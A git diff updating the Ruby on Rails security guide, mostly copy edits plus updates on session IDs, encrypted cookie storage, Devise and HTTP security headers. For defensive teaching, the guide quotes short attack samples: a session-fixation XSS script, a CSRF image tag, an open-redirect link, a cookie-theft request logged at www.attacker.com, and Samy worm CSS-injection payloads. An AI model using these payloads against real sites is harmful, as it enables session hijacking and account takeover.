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diff --git a/guides/source/security.md b/guides/source/security.md index 93580d4d4e..bb67eb75d9 100644 --- a/guides/source/security.md +++ b/guides/source/security.md @@ -23,7 +23,7 @@ Web application frameworks are made to help developers build web applications. S In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications). -The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person. +The Gartner Group, however, estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person. The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at. @@ -41,28 +41,28 @@ NOTE: _HTTP is a stateless protocol. Sessions make it stateful._ Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request. Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application. -A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method: +A session usually consists of a hash of values and a session ID, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session ID. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method: ```ruby session[:user_id] = @current_user.id User.find(session[:user_id]) ``` -### Session id +### Session ID -NOTE: _The session id is a 32 byte long MD5 hash value._ +NOTE: _The session ID is a 32-character random hex string._ -A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date. +The session ID is generated using `SecureRandom.hex` which generates a random hex string using platform specific methods (such as OpenSSL, /dev/urandom or Win32) for generating cryptographically secure random numbers. Currently it is not feasible to brute-force Rails' session IDs. ### Session Hijacking -WARNING: _Stealing a user's session id lets an attacker use the web application in the victim's name._ +WARNING: _Stealing a user's session ID lets an attacker use the web application in the victim's name._ -Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session. +Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session ID in the cookie identifies the session. Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures: -* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file: +* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN, it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file: ```ruby config.force_ssl = true @@ -89,13 +89,20 @@ This will also be a good idea, if you modify the structure of an object and old NOTE: _Rails provides several storage mechanisms for the session hashes. The most important is `ActionDispatch::Session::CookieStore`._ -Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it: +Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session ID. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it: * Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _Storing the current user's database id in a session is usually ok_. -* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie. +* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret (`secrets.secret_token`) and inserted into the end of the cookie. -That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. +However, since Rails 4, the default store is EncryptedCookieStore. With +EncryptedCookieStore the session is encrypted before being stored in a cookie. +This prevents the user from accessing and tampering the content of the cookie. +Thus the session becomes a more secure place to store data. The encryption is +done using a server-side secret key `secrets.secret_key_base` stored in +`config/secrets.yml`. + +That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters, use `rails secret` instead_. `secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`, e.g.: @@ -124,22 +131,22 @@ It works like this: * The user takes the cookie from the first step (which they previously copied) and replaces the current cookie in the browser. * The user has their original credit back. -Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database). +Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers. Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database). The best _solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session. ### Session Fixation -NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._ +NOTE: _Apart from stealing a user's session ID, the attacker may fix a session ID known to them. This is called session fixation._  -This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works: +This attack focuses on fixing a user's session ID known to the attacker, and forcing the user's browser into using this ID. It is therefore not necessary for the attacker to steal the session ID afterwards. Here is how this attack works: -* The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image). +* The attacker creates a valid session ID: They load the login page of the web application where they want to fix the session, and take the session ID in the cookie from the response (see number 1 and 2 in the image). * They maintain the session by accessing the web application periodically in order to keep an expiring session alive. -* The attacker forces the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on. -* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id. +* The attacker forces the user's browser into using this session ID (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on. +* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session ID to the trap session ID. * As the new trap session is unused, the web application will require the user to authenticate. * From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack. @@ -153,7 +160,7 @@ The most effective countermeasure is to _issue a new session identifier_ and dec reset_session ``` -If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_. +If you use the popular [Devise](https://rubygems.org/gems/devise) gem for user management, it will automatically expire sessions on sign in and sign out for you. If you roll your own, remember to expire the session after your sign in action (when the session is created). This will remove values from the session, therefore _you will have to transfer them to the new session_. Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way. @@ -161,10 +168,10 @@ Another countermeasure is to _save user-specific properties in the session_, ver NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation._ -One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago. +One possibility is to set the expiry time-stamp of the cookie with the session ID. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago. ```ruby -class Session < ActiveRecord::Base +class Session < ApplicationRecord def self.sweep(time = 1.hour) if time.is_a?(String) time = time.split.inject { |count, unit| count.to_i.send(unit) } @@ -189,13 +196,12 @@ This attack method works by including malicious code or a link in a page that ac  -In the [session chapter](#sessions) you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example: +In the [session chapter](#sessions) you have learned that most Rails applications use cookie-based sessions. Either they store the session ID in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is that if the request comes from a site of a different domain, it will also send the cookie. Let's start with an example: -* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file. -* `<img src="http://www.webapp.com/project/1/destroy">` -* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago. -* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id. -* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image. +* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file: `<img src="http://www.webapp.com/project/1/destroy">` +* Bob's session at `www.webapp.com` is still alive, because he didn't log out a few minutes ago. +* By viewing the post, the browser finds an image tag. It tries to load the suspected image from `www.webapp.com`. As explained before, it will also send along the cookie with the valid session ID. +* The web application at `www.webapp.com` verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image. * Bob doesn't notice the attack - but a few days later he finds out that project number one is gone. It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email. @@ -218,9 +224,9 @@ The HTTP protocol basically provides two main types of requests - GET and POST ( * The interaction _changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or * The user is _held accountable for the results_ of the interaction. -If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier. +If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT or DELETE. Most of today's web browsers, however, do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier. -_POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request. +_POST requests can be sent automatically, too_. In this example, the link www.harmless.com is shown as the destination in the browser's status bar. But it has actually dynamically created a new form that sends a POST request. ```html <a href="http://www.harmless.com/" onclick=" @@ -239,9 +245,11 @@ Or the attacker places the code into the onmouseover event handler of an image: <img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /> ``` -There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we disallow cross-site `<script>` tags. Only Ajax requests may have JavaScript responses since `XMLHttpRequest` is subject to the browser Same-Origin policy - meaning only your site can initiate the request. +There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we must disallow cross-site `<script>` tags. Ajax requests, however, obey the browser's same-origin policy (only your own site is allowed to initiate `XmlHttpRequest`) so we can safely allow them to return JavaScript responses. + +Note: We can't distinguish a `<script>` tag's origin—whether it's a tag on your own site or on some other malicious site—so we must block all `<script>` across the board, even if it's actually a safe same-origin script served from your own site. In these cases, explicitly skip CSRF protection on actions that serve JavaScript meant for a `<script>` tag. -To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller, and is the default for newly created rails applications: +To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller, and is the default for newly created Rails applications: ```ruby protect_from_forgery with: :exception @@ -279,7 +287,7 @@ Another class of security vulnerabilities surrounds the use of redirection and f WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._ -Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action: +Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to=www.attacker.com. Here is an example of a legacy action: ```ruby def legacy @@ -293,7 +301,7 @@ This will redirect the user to the main action if they tried to access a legacy http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com ``` -If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _And if you redirect to an URL, check it with a whitelist or a regular expression_. +If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _And if you redirect to a URL, check it with a whitelist or a regular expression_. #### Self-contained XSS @@ -373,9 +381,9 @@ Refer to the Injection section for countermeasures against XSS. It is _recommend **CSRF** Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. -A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/news/item/Symantec-reports-first-active-attack-on-a-DSL-router-735883.html). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen. +A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/news/item/Symantec-reports-first-active-attack-on-a-DSL-router-735883.html). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for the user, but it also contained an image tag that resulted in an HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen. -Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.
+Another example changed Google Adsense's e-mail address and password. If the victim was logged into Google Adsense, the administration interface for Google advertisement campaigns, an attacker could change the credentials of the victim.
Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination. @@ -398,7 +406,7 @@ NOTE: _Almost every web application has to deal with authorization and authentic There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features. -Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator): +Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested a URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator): ``` http://localhost:3006/user/activate @@ -445,7 +453,7 @@ However, the attacker may also take over the account by changing the e-mail addr #### Other -Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. +Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in an HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. ### CAPTCHAs @@ -458,7 +466,7 @@ The problem with CAPTCHAs is that they have a negative impact on the user experi Most bots are really dumb. They crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript. -Note that negative CAPTCHAs are only effective against dumb bots and won't suffice to protect critical applications from targeted bots. Still, the negative and positive CAPTCHAs can be combined to increase the performance, e.g., if the "honeypot" field is not empty (bot detected), you won't need to verify the positive CAPTCHA, which would require a HTTPS request to Google ReCaptcha before computing the response. +Note that negative CAPTCHAs are only effective against dumb bots and won't suffice to protect critical applications from targeted bots. Still, the negative and positive CAPTCHAs can be combined to increase the performance, e.g., if the "honeypot" field is not empty (bot detected), you won't need to verify the positive CAPTCHA, which would require an HTTPS request to Google ReCaptcha before computing the response. Here are some ideas how to hide honeypot fields by JavaScript and/or CSS: @@ -486,6 +494,8 @@ By default, Rails logs all requests being made to the web application. But log f config.filter_parameters << :password ``` +NOTE: Provided parameters will be filtered out by partial matching regular expression. Rails adds default `:password` in the appropriate initializer (`initializers/filter_parameter_logging.rb`) and cares about typical application parameters `password` and `password_confirmation`. + ### Good Passwords INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._ @@ -557,7 +567,7 @@ This is alright for some web applications, but certainly not if the user is not Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_. -Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet. +Don't be fooled by security by obfuscation and JavaScript security. Developer tools let you review and change every form's hidden fields. _JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Firebug addon for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet. Injection --------- @@ -667,14 +677,12 @@ INFO: _The most widespread, and one of the most devastating security vulnerabili An entry point is a vulnerable URL and its parameters where an attacker can start an attack. -The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests. +The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications or client-site proxies make it easy to change requests. There are also other attack vectors like banner advertisements. XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser. During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The [Symantec Global Internet Security threat report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf) also documented 239 browser plug-in vulnerabilities in the last six months of 2007. [Mpack](http://pandalabs.pandasecurity.com/mpack-uncovered/) is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets. -A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to [Trend Micro](http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/). - #### HTML/JavaScript Injection The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _Escaping user input is essential_. @@ -712,7 +720,7 @@ The log files on www.attacker.com will read like this: GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 ``` -You can mitigate these attacks (in the obvious way) by adding the **httpOnly** flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](https://www.owasp.org/index.php/HTTPOnly#Browsers_Supporting_HttpOnly), though. +You can mitigate these attacks (in the obvious way) by adding the **httpOnly** flag to cookies, so that document.cookie may not be read by JavaScript. HTTP only cookies can be used from IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4 and Chrome 1.0.154 onwards. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](https://www.owasp.org/index.php/HTTPOnly#Browsers_Supporting_HttpOnly), though. ##### Defacement @@ -754,7 +762,7 @@ s = sanitize(user_input, tags: tags, attributes: %w(href title)) This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags. -As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (`&`, `"`, `<`;, and `>`). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the SafeErb gem. SafeErb reminds you to escape strings from external sources. +As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &, ", <, and > by their uninterpreted representations in HTML (`&`, `"`, `<`, and `>`). ##### Obfuscation and Encoding Injection @@ -779,21 +787,19 @@ The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/sec var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ... ``` -The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application. +The worms exploit a hole in Yahoo's HTML/JavaScript filter, which usually filters all targets and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application. Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with. In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form. -The MySpace Samy worm will be discussed in the CSS Injection section. - ### CSS Injection INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._ -CSS Injection is explained best by a well-known worm, the [MySpace Samy worm](http://namb.la/popular/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm. +CSS Injection is explained best by the well-known [MySpace Samy worm](http://namb.la/popular/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, which created so much traffic that MySpace went offline. The following is a technical explanation of that worm. -MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this: +MySpace blocked many tags, but allowed CSS. So the worm's author put JavaScript into CSS like this: ```html <div style="background:url('javascript:alert(1)')"> @@ -817,7 +823,7 @@ The next problem was MySpace filtering the word "javascript", so the author used <div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"> ``` -Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token. +Another problem for the worm's author was the [CSRF security tokens](#cross-site-request-forgery-csrf). Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token. In the end, he got a 4 KB worm, which he injected into his profile page. @@ -959,7 +965,7 @@ When `params[:token]` is one of: `[nil]`, `[nil, nil, ...]` or `['foo', nil]` it will bypass the test for `nil`, but `IS NULL` or `IN ('foo', NULL)` where clauses still will be added to the SQL query. -To keep rails secure by default, `deep_munge` replaces some of the values with +To keep Rails secure by default, `deep_munge` replaces some of the values with `nil`. Below table shows what the parameters look like based on `JSON` sent in request: @@ -1008,24 +1014,41 @@ config.action_dispatch.default_headers.clear Here is a list of common headers: -* X-Frame-Options -_'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website. -* X-XSS-Protection -_'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off(useful if response contents scripts from request parameters) -* X-Content-Type-Options -_'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file. -* X-Content-Security-Policy -[A powerful mechanism for controlling which sites certain content types can be loaded from](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html) -* Access-Control-Allow-Origin -Used to control which sites are allowed to bypass same origin policies and send cross-origin requests. -* Strict-Transport-Security -[Used to control if the browser is allowed to only access a site over a secure connection](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) +* **X-Frame-Options:** _'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website. +* **X-XSS-Protection:** _'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off(useful if response contents scripts from request parameters) +* **X-Content-Type-Options:** _'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file. +* **X-Content-Security-Policy:** [A powerful mechanism for controlling which sites certain content types can be loaded from](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html) +* **Access-Control-Allow-Origin:** Used to control which sites are allowed to bypass same origin policies and send cross-origin requests. +* **Strict-Transport-Security:** [Used to control if the browser is allowed to only access a site over a secure 